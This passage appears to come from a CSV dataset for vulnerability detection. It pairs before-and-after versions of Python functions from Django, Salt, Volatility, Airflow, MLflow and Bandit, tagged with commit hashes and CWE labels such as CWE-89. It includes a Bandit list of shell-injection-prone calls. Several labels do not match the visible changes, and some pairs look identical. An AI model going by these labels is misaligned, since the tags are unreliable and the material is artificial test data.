                        self._create_index_name(model._meta.db_table, [new_field.column], suffix=""_check"")
                    ),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            changes_sql, params = self._alter_column_default_sql(model, old_field, new_field, drop=True)
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": changes_sql,
            }
            self.execute(sql, params)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()",CWE-89,django/django,4dc35e126d8461589b4b4bc47b6f6bd6cc4a1455,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Perform a ""physical"" (non-ManyToMany) field update.""""""
        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.remote_field and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            # '_meta.related_field' also contains M2M reverse fields, these
            # will be filtered out
            for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
                rel_fk_names = self._constraint_names(
                    new_rel.related_model, [new_rel.field.column], foreign_key=True
                )
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, new_rel.related_model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        # Remove indexes if db_index switched to False or a unique constraint
        # will now be used in lieu of an index. The following lines from the
        # truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # True               | False            | False              | False
        # True               | False            | False              | True
        # True               | False            | True               | True
        if old_field.db_index and not old_field.unique and (not new_field.db_index or new_field.unique):
            # Find the index for this field
            meta_index_names = {index.name for index in model._meta.indexes}
            # Retrieve only BTREE indexes since this is what's created with
            # db_index=True.
            index_names = self._constraint_names(model, [old_field.column], index=True, type_=Index.suffix)
            for index_name in index_names:
                if index_name in meta_index_names:
                    # The only way to check if an index was created with
                    # db_index=True or with Index(['field'], name='foo')
                    # is to look at its name (refs #28053).
                    continue
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
            # Rename all references to the renamed column.
            for sql in self.deferred_sql:
                if isinstance(sql, Statement):
                    sql.rename_column_references(model._meta.db_table, old_field.column, new_field.column)
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model, old_field, new_field, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_field.null and
            not new_field.null and
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            actions.append(self._alter_column_default_sql(model, old_field, new_field))
        # Nullability change?
        if old_field.null != new_field.null:
            fragment = self._alter_column_null_sql(model, old_field, new_field)
            if fragment:
                null_actions.append(fragment)
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), sum(params, []))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if (not old_field.unique and new_field.unique) or (
            old_field.primary_key and not new_field.primary_key and new_field.unique
        ):
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index? Add an index if db_index switched to True or a unique
        # constraint will no longer be used in lieu of an index. The following
        # lines from the truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # False              | False            | True               | False
        # False              | True             | True               | False
        # True               | True             | True               | False
        if (not old_field.db_index or old_field.unique) and new_field.db_index and not new_field.unique:
            self.execute(self._create_index_sql(model, [new_field]))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            self._delete_primary_key(model, strict)
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(
                        self._create_index_name(model._meta.db_table, [new_field.column], suffix=""_pk"")
                    ),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Handle our type alters on the other end of rels from the PK stuff above
        for old_rel, new_rel in rels_to_update:
            rel_db_params = new_rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            fragment, other_actions = self._alter_column_type_sql(
                new_rel.related_model, old_rel.field, new_rel.field, rel_type
            )
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(new_rel.related_model._meta.db_table),
                    ""changes"": fragment[0],
                },
                fragment[1],
            )
            for sql, params in other_actions:
                self.execute(sql, params)
        # Does it have a foreign key?
        if (new_field.remote_field and
                (fks_dropped or not old_field.remote_field or not old_field.db_constraint) and
                new_field.db_constraint):
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.related_objects:
                if not rel.many_to_many and rel.field.db_constraint:
                    self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(
                        self._create_index_name(model._meta.db_table, [new_field.column], suffix=""_check"")
                    ),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            changes_sql, params = self._alter_column_default_sql(model, old_field, new_field, drop=True)
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": changes_sql,
            }
            self.execute(sql, params)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()"
,UNKNOWN,UNKNOWN,django/db/backends/oracle/base.py,1,"def init_connection_state(self):
        cursor = self.create_cursor()
        # Set the territory first. The territory overrides NLS_DATE_FORMAT
        # and NLS_TIMESTAMP_FORMAT to the territory default. When all of
        # these are set in single statement it isn't clear what is supposed
        # to happen.
        cursor.execute(""ALTER SESSION SET NLS_TERRITORY = 'AMERICA'"")
        # Set oracle date to ansi date format.  This only needs to execute
        # once when we create a new connection. We also set the Territory
        # to 'AMERICA' which forces Sunday to evaluate to a '1' in
        # TO_CHAR().
        cursor.execute(
            ""ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS'""
            "" NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS.FF'""
            + ("" TIME_ZONE = 'UTC'"" if settings.USE_TZ else ''))
        cursor.close()
        if 'operators' not in self.__dict__:
            # Ticket #14149: Check whether our LIKE implementation will
            # work for this connection or we need to fall back on LIKEC.
            # This check is performed only once per DatabaseWrapper
            # instance per thread, since subsequent connections will use
            # the same settings.
            cursor = self.create_cursor()
            try:
                cursor.execute(""SELECT 1 FROM DUAL WHERE DUMMY %s""
                               % self._standard_operators['contains'],
                               ['X'])
            except DatabaseError:
                self.operators = self._likec_operators
            else:
                self.operators = self._standard_operators
            cursor.close()

        # There's no way for the DatabaseOperations class to know the
        # currently active Oracle version, so we do some setups here.
        # TODO: Multi-db support will need a better solution (a way to
        # communicate the current version).
        if self.oracle_version is not None and self.oracle_version <= 9:
            self.ops.regex_lookup = self.ops.regex_lookup_9
        else:
            self.ops.regex_lookup = self.ops.regex_lookup_10

        try:
            self.connection.stmtcachesize = 20
        except AttributeError:
            # Django docs specify cx_Oracle version 4.3.1 or higher, but
            # stmtcachesize is available only in 4.3.2 and up.
            pass",CWE-89,django/django,20472aa827669d2b83b74e521504e88e18d086a1,"def init_connection_state(self):
        cursor = self.create_cursor()
        # Set the territory first. The territory overrides NLS_DATE_FORMAT
        # and NLS_TIMESTAMP_FORMAT to the territory default. When all of
        # these are set in single statement it isn't clear what is supposed
        # to happen.
        cursor.execute(""ALTER SESSION SET NLS_TERRITORY = 'AMERICA'"")
        # Set oracle date to ansi date format.  This only needs to execute
        # once when we create a new connection. We also set the Territory
        # to 'AMERICA' which forces Sunday to evaluate to a '1' in
        # TO_CHAR().
        cursor.execute(
            ""ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS'""
            "" NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS.FF'""
            + ("" TIME_ZONE = 'UTC'"" if settings.USE_TZ else ''))
        cursor.close()
        if 'operators' not in self.__dict__:
            # Ticket #14149: Check whether our LIKE implementation will
            # work for this connection or we need to fall back on LIKEC.
            # This check is performed only once per DatabaseWrapper
            # instance per thread, since subsequent connections will use
            # the same settings.
            cursor = self.create_cursor()
            try:
                cursor.execute(""SELECT 1 FROM DUAL WHERE DUMMY %s""
                               % self._standard_operators['contains'],
                               ['X'])
            except DatabaseError:
                self.operators = self._likec_operators
            else:
                self.operators = self._standard_operators
            cursor.close()

        # There's no way for the DatabaseOperations class to know the
        # currently active Oracle version, so we do some setups here.
        # TODO: Multi-db support will need a better solution (a way to
        # communicate the current version).
        if self.oracle_version is not None and self.oracle_version <= 9:
            self.ops.regex_lookup = self.ops.regex_lookup_9
        else:
            self.ops.regex_lookup = self.ops.regex_lookup_10

        try:
            self.connection.stmtcachesize = 20
        except:
            # Django docs specify cx_Oracle version 4.3.1 or higher, but
            # stmtcachesize is available only in 4.3.2 and up.
            pass"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/win_pkg.py,0,"def _get_msiexec(use_msiexec):
    '''
    Return if msiexec.exe will be used and the command to invoke it.
    '''
    if use_msiexec is False:
        return False, ''
    if isinstance(use_msiexec, six.string_types):
        if os.path.isfile(use_msiexec):
            return True, use_msiexec
        else:
            log.warning((""msiexec path '{0}' not found. Using system registered""
                         "" msiexec instead"").format(use_msiexec))
            use_msiexec = True
    if use_msiexec is True:
        return True, 'msiexec'",,saltstack/salt,d257421aefa4f78ec6830e4bd555e113e71d746b,"def _get_msiexec(use_msiexec):
    '''
    Return if msiexec.exe will be used and the command to invoke it.
    '''
    if use_msiexec is False:
        return (False, '')
    if os.path.isfile(use_msiexec):
        return (True, use_msiexec)
    else:
        log.warning((""msiexec path '{0}' not found. Using system registered""
                     "" msiexec instead"").format(use_msiexec))
        use_msiexec = True
    if use_msiexec is True:
        return (True, 'msiexec')"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/malware/impscan.py,0,"def _vicinity_scan(self, addr_space, calls_imported, 
                apis, base_address, data_len, forward):
        """"""Scan forward from the lowest IAT entry found or
        backward from the highest IAT entry found. We do this 
        because not every imported function will be called 
        from the code section and sometimes page(s) with the 
        calls are unavailable. 

        @param addr_space: an AS
        @param calls_imported: dictionary of confirmed imports
        @param apis: dictionary of exported functions in the AS 
        @param base_address: memory base address 
        @param data_len: size in bytes to check from base_address
        @param forwared: the direction for the vicinity scan
        """"""

        sortedlist = calls_imported.keys()
        sortedlist.sort()

        if not sortedlist:
            return

        size_of_address = addr_space.profile.get_obj_size(""address"")

        if forward:
            start_addr = sortedlist[0]
        else:
            start_addr = sortedlist[len(sortedlist) - 1]

        # We stop scanning when the threshold reaches zero. This
        # value is decremented each invalid or duplicate API call
        # seen. It resets when a valid API call is seen. 
        threshold = 5
        i = 0

        while threshold and i < 0x2000:
            if forward:
                next_addr = start_addr + (i * size_of_address)
            else:
                next_addr = start_addr - (i * size_of_address)

            call_dest = obj.Object(""address"", offset = next_addr, 
                            vm = addr_space).v()

            if (not call_dest or 
                    call_dest < base_address or 
                    call_dest > base_address + data_len):
                threshold -= 1
                i += 1
                continue 

            # Reset the threshold if we found a valid API call, 
            # otherwise decrement the threshold by one 
            if call_dest in apis and call_dest not in calls_imported:
                calls_imported[next_addr] = call_dest
                threshold = 5
            else:
                threshold -= 1

            i += 1",,volatilityfoundation/volatility,65507320bee7b4855de08d2d0e7678be9a400d5e,"def _vicinity_scan(self, addr_space, calls_imported, 
                apis, base_address, data_len, forward):
        """"""Scan forward from the lowest IAT entry found or
        backward from the highest IAT entry found. We do this 
        because not every imported function will be called 
        from the code section and sometimes page(s) with the 
        calls are unavailable. 

        @param addr_space: an AS
        @param calls_imported: dictionary of confirmed imports
        @param apis: dictionary of exported functions in the AS 
        @param base_address: memory base address 
        @param data_len: size in bytes to check from base_address
        @param forwared: the direction for the vicinity scan
        """"""

        sortedlist = calls_imported.keys()
        sortedlist.sort()

        size_of_address = addr_space.profile.get_obj_size(""address"")

        if forward:
            start_addr = sortedlist[0]
        else:
            start_addr = sortedlist[len(sortedlist) - 1]

        # We stop scanning when the threshold reaches zero. This
        # value is decremented each invalid or duplicate API call
        # seen. It resets when a valid API call is seen. 
        threshold = 5
        i = 0

        while threshold and i < 0x2000:
            if forward:
                next_addr = start_addr + (i * size_of_address)
            else:
                next_addr = start_addr - (i * size_of_address)

            call_dest = obj.Object(""address"", offset = next_addr, 
                            vm = addr_space).v()

            if (not call_dest or 
                    call_dest < base_address or 
                    call_dest > base_address + data_len):
                threshold -= 1
                i += 1
                continue 

            # Reset the threshold if we found a valid API call, 
            # otherwise decrement the threshold by one 
            if call_dest in apis and call_dest not in calls_imported:
                calls_imported[next_addr] = call_dest
                threshold = 5
            else:
                threshold -= 1

            i += 1"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_dag_endpoint.py,1,"def test_should_respond_200_and_pause_dag_pattern(self, session, url_safe_serializer):
        file_token = url_safe_serializer.dumps(""/tmp/dag_1.py"")
        self._create_dag_models(10)
        file_token10 = url_safe_serializer.dumps(""/tmp/dag_10.py"")

        response = self.client.patch(
            ""/api/v1/dags?dag_id_pattern=TEST_DAG_1"",
            json={
                ""is_paused"": True,
            },
            environ_overrides={""REMOTE_USER"": ""test""},
        )

        assert response.status_code == 200
        assert {
            ""dags"": [
                {
                    ""dag_id"": ""TEST_DAG_1"",
                    ""description"": None,
                    ""fileloc"": ""/tmp/dag_1.py"",
                    ""file_token"": file_token,
                    ""is_paused"": True,
                    ""is_active"": True,
                    ""is_subdag"": False,
                    ""owners"": [],
                    ""root_dag_id"": None,
                    ""schedule_interval"": {
                        ""__type"": ""CronExpression"",
                        ""value"": ""2 2 * * *"",
                    },
                    ""tags"": [],
                    ""next_dagrun"": None,
                    ""has_task_concurrency_limits"": True,
                    ""next_dagrun_data_interval_start"": None,
                    ""next_dagrun_data_interval_end"": None,
                    ""max_active_runs"": 16,
                    ""next_dagrun_create_after"": None,
                    ""last_expired"": None,
                    ""max_active_tasks"": 16,
                    ""last_pickled"": None,
                    ""default_view"": None,
                    ""last_parsed_time"": None,
                    ""scheduler_lock"": None,
                    ""timetable_description"": None,
                    ""has_import_errors"": False,
                    ""pickle_id"": None,
                },
                {
                    ""dag_id"": ""TEST_DAG_10"",
                    ""description"": None,
                    ""fileloc"": ""/tmp/dag_10.py"",
                    ""file_token"": file_token10,
                    ""is_paused"": True,
                    ""is_active"": True,
                    ""is_subdag"": False,
                    ""owners"": [],
                    ""root_dag_id"": None,
                    ""schedule_interval"": {
                        ""__type"": ""CronExpression"",
                        ""value"": ""2 2 * * *"",
                    },
                    ""tags"": [],
                    ""next_dagrun"": None,
                    ""has_task_concurrency_limits"": True,
                    ""next_dagrun_data_interval_start"": None,
                    ""next_dagrun_data_interval_end"": None,
                    ""max_active_runs"": 16,
                    ""next_dagrun_create_after"": None,
                    ""last_expired"": None,
                    ""max_active_tasks"": 16,
                    ""last_pickled"": None,
                    ""default_view"": None,
                    ""last_parsed_time"": None,
                    ""scheduler_lock"": None,
                    ""timetable_description"": None,
                    ""has_import_errors"": False,
                    ""pickle_id"": None,
                },
            ],
            ""total_entries"": 2,
        } == response.json

        dags_not_updated = session.query(DagModel).filter(~DagModel.is_paused)
        assert len(dags_not_updated.all()) == 8
        dags_updated = session.query(DagModel).filter(DagModel.is_paused)
        assert len(dags_updated.all()) == 2",CWE-703,apache/airflow,44f5c61f8cc3db70f0f7042c444fcf094821d542,"def test_should_respond_200_and_pause_dag_pattern(self, session, url_safe_serializer):
        file_token = url_safe_serializer.dumps(""/tmp/dag_1.py"")
        self._create_dag_models(10)
        file_token10 = url_safe_serializer.dumps(""/tmp/dag_10.py"")

        response = self.client.patch(
            ""/api/v1/dags?dag_id_pattern=TEST_DAG_1"",
            json={
                ""is_paused"": True,
            },
            environ_overrides={""REMOTE_USER"": ""test""},
        )

        assert response.status_code == 200
        assert {
            ""dags"": [
                {
                    ""dag_id"": ""TEST_DAG_1"",
                    ""description"": None,
                    ""fileloc"": ""/tmp/dag_1.py"",
                    ""file_token"": file_token,
                    ""is_paused"": True,
                    ""is_active"": True,
                    ""is_subdag"": False,
                    ""owners"": [],
                    ""root_dag_id"": None,
                    ""schedule_interval"": {
                        ""__type"": ""CronExpression"",
                        ""value"": ""2 2 * * *"",
                    },
                    ""tags"": [],
                    ""next_dagrun"": None,
                    ""has_task_concurrency_limits"": True,
                    ""next_dagrun_data_interval_start"": None,
                    ""next_dagrun_data_interval_end"": None,
                    ""max_active_runs"": 16,
                    ""next_dagrun_create_after"": None,
                    ""last_expired"": None,
                    ""max_active_tasks"": 16,
                    ""last_pickled"": None,
                    ""default_view"": None,
                    ""last_parsed_time"": None,
                    ""scheduler_lock"": None,
                    ""timetable_description"": None,
                    ""has_import_errors"": False,
                    ""pickle_id"": None,
                },
                {
                    ""dag_id"": ""TEST_DAG_10"",
                    ""description"": None,
                    ""fileloc"": ""/tmp/dag_10.py"",
                    ""file_token"": file_token10,
                    ""is_paused"": True,
                    ""is_active"": True,
                    ""is_subdag"": False,
                    ""owners"": [],
                    ""root_dag_id"": None,
                    ""schedule_interval"": {
                        ""__type"": ""CronExpression"",
                        ""value"": ""2 2 * * *"",
                    },
                    ""tags"": [],
                    ""next_dagrun"": None,
                    ""has_task_concurrency_limits"": True,
                    ""next_dagrun_data_interval_start"": None,
                    ""next_dagrun_data_interval_end"": None,
                    ""max_active_runs"": 16,
                    ""next_dagrun_create_after"": None,
                    ""last_expired"": None,
                    ""max_active_tasks"": 16,
                    ""last_pickled"": None,
                    ""default_view"": None,
                    ""last_parsed_time"": None,
                    ""scheduler_lock"": None,
                    ""timetable_description"": None,
                    ""has_import_errors"": False,
                    ""pickle_id"": None,
                },
            ],
            ""total_entries"": 2,
        } == response.json

        dags_not_updated = session.query(DagModel).filter(~DagModel.is_paused)
        assert len(dags_not_updated.all()) == 8
        dags_updated = session.query(DagModel).filter(DagModel.is_paused)
        assert len(dags_updated.all()) == 2"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_chat_model.py,1,"def test_chat_model_works_with_infer_signature_input_example(tmp_path):
    model = SimpleChatModel()
    params_subset = {
        ""max_tokens"": 100,
    }
    input_example = {
        ""messages"": [
            {
                ""role"": ""user"",
                ""content"": ""What is Retrieval-augmented Generation?"",
            }
        ],
        **params_subset,
    }
    with mlflow.start_run():
        model_info = mlflow.pyfunc.log_model(
            ""model"", python_model=model, input_example=input_example
        )
    assert model_info.signature.inputs == CHAT_MODEL_INPUT_SCHEMA
    assert model_info.signature.outputs == CHAT_MODEL_OUTPUT_SCHEMA
    mlflow_model = Model.load(model_info.model_uri)
    local_path = _download_artifact_from_uri(model_info.model_uri)
    assert mlflow_model.load_input_example(local_path) == {
        ""messages"": input_example[""messages""],
        **params_subset,
    }

    inference_payload = load_serving_example(model_info.model_uri)
    response = pyfunc_serve_and_score_model(
        model_uri=model_info.model_uri,
        data=inference_payload,
        content_type=""application/json"",
        extra_args=[""--env-manager"", ""local""],
    )

    expect_status_code(response, 200)
    choices = json.loads(response.content)[""choices""]
    assert choices[0][""message""][""content""] == json.dumps(input_example[""messages""])
    assert json.loads(choices[1][""message""][""content""]) == {
        **DEFAULT_PARAMS,
        **params_subset,
    }",CWE-703,mlflow/mlflow,69b21115f6c4814449bc29fa2afad0c4ce882bbc,"def test_chat_model_works_with_infer_signature_input_example(tmp_path):
    model = SimpleChatModel()
    params_subset = {
        ""max_tokens"": 100,
    }
    input_example = {
        ""messages"": [
            {
                ""role"": ""user"",
                ""content"": ""What is Retrieval-augmented Generation?"",
            }
        ],
        **params_subset,
    }
    with mlflow.start_run():
        model_info = mlflow.pyfunc.log_model(
            ""model"", python_model=model, input_example=input_example
        )
    assert model_info.signature.inputs == CHAT_MODEL_INPUT_SCHEMA
    assert model_info.signature.outputs == CHAT_MODEL_OUTPUT_SCHEMA
    mlflow_model = Model.load(model_info.model_uri)
    local_path = _download_artifact_from_uri(model_info.model_uri)
    assert mlflow_model.load_input_example(local_path) == {
        ""messages"": input_example[""messages""],
        **DEFAULT_PARAMS,
        **params_subset,
    }

    inference_payload = load_serving_example(model_info.model_uri)
    response = pyfunc_serve_and_score_model(
        model_uri=model_info.model_uri,
        data=inference_payload,
        content_type=""application/json"",
        extra_args=[""--env-manager"", ""local""],
    )

    expect_status_code(response, 200)
    choices = json.loads(response.content)[""choices""]
    assert choices[0][""message""][""content""] == json.dumps(input_example[""messages""])
    assert json.loads(choices[1][""message""][""content""]) == {
        **DEFAULT_PARAMS,
        **params_subset,
    }"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/store/tracking/test_sqlalchemy_store.py,0,"def test_search_full(self):
        experiment_id = self._experiment_factory('search_params')
        r1 = self._run_factory(self._get_run_configs(experiment_id)).info.run_id
        r2 = self._run_factory(self._get_run_configs(experiment_id)).info.run_id

        self.store.log_param(r1, entities.Param('generic_param', 'p_val'))
        self.store.log_param(r2, entities.Param('generic_param', 'p_val'))

        self.store.log_param(r1, entities.Param('p_a', 'abc'))
        self.store.log_param(r2, entities.Param('p_b', 'ABC'))

        self.store.log_metric(r1, entities.Metric(""common"", 1.0, 1, 0))
        self.store.log_metric(r2, entities.Metric(""common"", 1.0, 1, 0))

        self.store.log_metric(r1, entities.Metric(""m_a"", 2.0, 2, 0))
        self.store.log_metric(r2, entities.Metric(""m_b"", 3.0, 2, 0))
        self.store.log_metric(r2, entities.Metric(""m_b"", 4.0, 8, 0))
        self.store.log_metric(r2, entities.Metric(""m_b"", 8.0, 3, 0))

        filter_string = ""params.generic_param = 'p_val' and metrics.common = 1.0""
        six.assertCountEqual(self, [r1, r2], self._search(experiment_id, filter_string))

        # all params and metrics match
        filter_string = (""params.generic_param = 'p_val' and metrics.common = 1.0 ""
                         ""and metrics.m_a > 1.0"")
        six.assertCountEqual(self, [r1], self._search(experiment_id, filter_string))

        # test with mismatch param
        filter_string = (""params.random_bad_name = 'p_val' and metrics.common = 1.0 ""
                         ""and metrics.m_a > 1.0"")
        six.assertCountEqual(self, [], self._search(experiment_id, filter_string))

        # test with mismatch metric
        filter_string = (""params.generic_param = 'p_val' and metrics.common = 1.0 ""
                         ""and metrics.m_a > 100.0"")
        six.assertCountEqual(self, [], self._search(experiment_id, filter_string))",,mlflow/mlflow,512083ae5dbd733896e31881e43a53208f3b66f5,"def test_search_full(self):
        experiment_id = self._experiment_factory('search_params')
        r1 = self._run_factory(self._get_run_configs(experiment_id)).info.run_id
        r2 = self._run_factory(self._get_run_configs(experiment_id)).info.run_id

        self.store.log_param(r1, entities.Param('generic_param', 'p_val'))
        self.store.log_param(r2, entities.Param('generic_param', 'p_val'))

        self.store.log_param(r1, entities.Param('p_a', 'abc'))
        self.store.log_param(r2, entities.Param('p_b', 'ABC'))

        self.store.log_metric(r1, entities.Metric(""common"", 1.0, 1, 0))
        self.store.log_metric(r2, entities.Metric(""common"", 1.0, 1, 0))

        self.store.log_metric(r1, entities.Metric(""m_a"", 2.0, 2, 0))
        self.store.log_metric(r2, entities.Metric(""m_b"", 3.0, 2, 0))
        self.store.log_metric(r2, entities.Metric(""m_b"", 4.0, 8, 0))
        self.store.log_metric(r2, entities.Metric(""m_b"", 8.0, 3, 0))

        filter_string = ""params.generic_param = 'p_val' and metrics.common = 1.0""
        six.assertCountEqual(self, [r1, r2], self._search(experiment_id, filter_string))

        # all params and metrics match
        filter_string = (""params.generic_param = 'p_val' and metrics.common = 1.0""
                         ""and metrics.m_a > 1.0"")
        six.assertCountEqual(self, [r1], self._search(experiment_id, filter_string))

        # test with mismatch param
        filter_string = (""params.random_bad_name = 'p_val' and metrics.common = 1.0""
                         ""and metrics.m_a > 1.0"")
        six.assertCountEqual(self, [], self._search(experiment_id, filter_string))

        # test with mismatch metric
        filter_string = (""params.generic_param = 'p_val' and metrics.common = 1.0""
                         ""and metrics.m_a > 100.0"")
        six.assertCountEqual(self, [], self._search(experiment_id, filter_string))"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/plugins/injection_shell.py,0,"def gen_config(name):
    if name == ""shell_injection"":
        return {
            # Start a process using the subprocess module, or one of its
            # wrappers.
            ""subprocess"": [
                ""subprocess.Popen"",
                ""subprocess.call"",
                ""subprocess.check_call"",
                ""subprocess.check_output"",
                ""subprocess.run"",
            ],
            # Start a process with a function vulnerable to shell injection.
            ""shell"": [
                ""os.system"",
                ""os.popen"",
                ""os.popen2"",
                ""os.popen3"",
                ""os.popen4"",
                ""popen2.popen2"",
                ""popen2.popen3"",
                ""popen2.popen4"",
                ""popen2.Popen3"",
                ""popen2.Popen4"",
                ""commands.getoutput"",
                ""commands.getstatusoutput"",
                ""subprocess.getoutput"",
                ""subprocess.getstatusoutput"",
            ],
            # Start a process with a function that is not vulnerable to shell
            # injection.
            ""no_shell"": [
                ""os.execl"",
                ""os.execle"",
                ""os.execlp"",
                ""os.execlpe"",
                ""os.execv"",
                ""os.execve"",
                ""os.execvp"",
                ""os.execvpe"",
                ""os.spawnl"",
                ""os.spawnle"",
                ""os.spawnlp"",
                ""os.spawnlpe"",
                ""os.spawnv"",
                ""os.spawnve"",
                ""os.spawnvp"",
                ""os.spawnvpe"",
                ""os.startfile"",
            ],
        }",UNKNOWN,PyCQA/bandit,b603dce79aefe794ce6a0531cb191a45f4e52e01,"def gen_config(name):
    if name == ""shell_injection"":
        return {
            # Start a process using the subprocess module, or one of its
            # wrappers.
            ""subprocess"": [
                ""subprocess.Popen"",
                ""subprocess.call"",
                ""subprocess.check_call"",
                ""subprocess.check_output"",
                ""subprocess.run"",
            ],
            # Start a process with a function vulnerable to shell injection.
            ""shell"": [
                ""os.system"",
                ""os.popen"",
                ""os.popen2"",
                ""os.popen3"",
                ""os.popen4"",
                ""popen2.popen2"",
                ""popen2.popen3"",
                ""popen2.popen4"",
                ""popen2.Popen3"",
                ""popen2.Popen4"",
                ""commands.getoutput"",
                ""commands.getstatusoutput"",
            ],
            # Start a process with a function that is not vulnerable to shell
            # injection.
            ""no_shell"": [
                ""os.execl"",
                ""os.execle"",
                ""os.execlp"",
